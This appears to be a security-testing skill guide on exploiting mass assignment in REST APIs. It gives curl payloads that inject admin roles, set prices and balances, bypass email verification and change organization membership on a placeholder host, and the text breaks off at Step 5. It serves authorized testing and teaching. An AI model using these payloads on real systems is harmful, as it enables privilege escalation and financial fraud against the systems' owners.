Exploiting Mass Assignment in REST APIs

When to Use

• When testing REST APIs that accept JSON input for creating or updating resources
• During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)
• When testing user registration, profile update, or account management endpoints
• During bug bounty hunting on applications with CRUD API operations
• When evaluating role-based access control implementation in API-driven applications

Prerequisites

• Burp Suite or Postman for API request crafting and interception
• Understanding of ORM auto-binding behavior in common frameworks
• API documentation or endpoint discovery through reconnaissance
• Multiple user accounts with different privilege levels for testing
• Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)
• Arjun or param-miner for hidden parameter discovery

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Discover API Structure and Fields

# Examine API responses to identify all object fields
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# Response reveals fields: id, username, email, role, isAdmin, verified, balance

# Check API documentation for exposed schemas
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml

# Use Arjun for hidden parameter discovery
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"

# Examine create/update request body vs response body
# The response may contain more fields than the request sends
# Those extra fields are mass assignment candidates

Step 2 — Test Privilege Escalation via Role Fields

# Inject role/admin fields in profile update
curl -X PUT http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","email":"test@test.com","role":"admin"}'

# Try common admin field names
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"isAdmin":true}'

curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'

# Test during registration
curl -X POST http://target.com/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'

Step 3 — Test Financial and Business Logic Fields

# Modify price or balance fields
curl -X POST http://target.com/api/orders \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id":1,"quantity":1,"price":0.01}'

# Modify account balance
curl -X PATCH http://target.com/api/wallet \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"balance":999999}'

# Modify discount or coupon fields
curl -X POST http://target.com/api/checkout \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'

# Modify subscription tier
curl -X PATCH http://target.com/api/subscription \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"plan":"enterprise","price":0}'

Step 4 — Test Verification and Status Fields

# Bypass email verification
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email_verified":true,"verified":true,"active":true}'

# Modify account status
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"status":"active","banned":false,"suspended":false}'

# Modify ownership/organization
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'

Step 5 — Test Relationship and Foreign Key Manipulation

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